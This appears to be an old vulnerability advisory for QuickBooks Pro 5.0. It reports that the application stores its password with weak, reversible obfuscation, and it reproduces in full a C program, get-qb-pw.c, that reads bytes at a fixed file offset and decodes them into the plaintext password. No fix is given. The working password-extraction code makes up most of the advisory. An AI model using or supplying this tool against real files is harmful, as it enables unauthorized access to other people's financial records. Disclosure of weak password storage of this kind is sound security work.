COMMAND

    QuickBooks Pro

SYSTEMS AFFECTED

    Systems running QuickBooks Pro 5 (at least)

PROBLEM

    Lucky Green  posted following  (found by  Eric Blossom?).   It's a
    simple hack that  extracts the not  very cleverly hidden  password
    stored in QuickBooks.  This was only tested it with QuickBooks Pro
    version 5.0.

    /* -*-C-*-
    ****************************************************************************
    ***
    *
    * File:         get-qb-pw.c
    * RCS:          $Id: $
    * Description:  get the "quick books pro" password
    * Author:       Eric Blossom
    * Created:      Tue Aug 18 14:09:30 1998
    * Modified:     Tue Aug 18 17:39:22 1998 (eric) eb@starium.com
    * Language:     C
    * Package:      N/A
    * Status:       Experimental (Do Not Distribute)
    *
    ****************************************************************************
    ***
    */

    #include <stdio.h>

    main (int argc, char **argv)
    {
      FILE          *fp;
      int           i;
      unsigned char raw[10];

      if (argc != 2){
        fprintf (stderr, "usage: get-qb-pw filename\n");
        exit (1);
      }

      if ((fp = fopen (argv[1], "rb")) == 0){
        perror (argv[0]);
        exit (1);
      }


      if (fseek (fp, 7635, SEEK_SET) != 0){
        perror ("fseek failed");
        exit (1);
      }

      if (fread (raw, 1, 10, fp) != 10){
        perror ("fread failed");
        exit (1);
      }

      for (i = 9; i >= 0; i--){
        int         t;

        if (raw[i] == 0)
          continue;

        t = ((raw[i] & 0xf) << 4) | ((raw[i] >> 4)  & 0xf); /* swap nybbles */
        putchar (-t + 255);
      }

      putchar ('\n');
    }

SOLUTION

    Nothing yet.